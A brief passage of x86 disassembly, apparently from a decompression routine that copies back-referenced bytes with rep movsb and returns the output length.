je 0x17cc19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x17cc075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10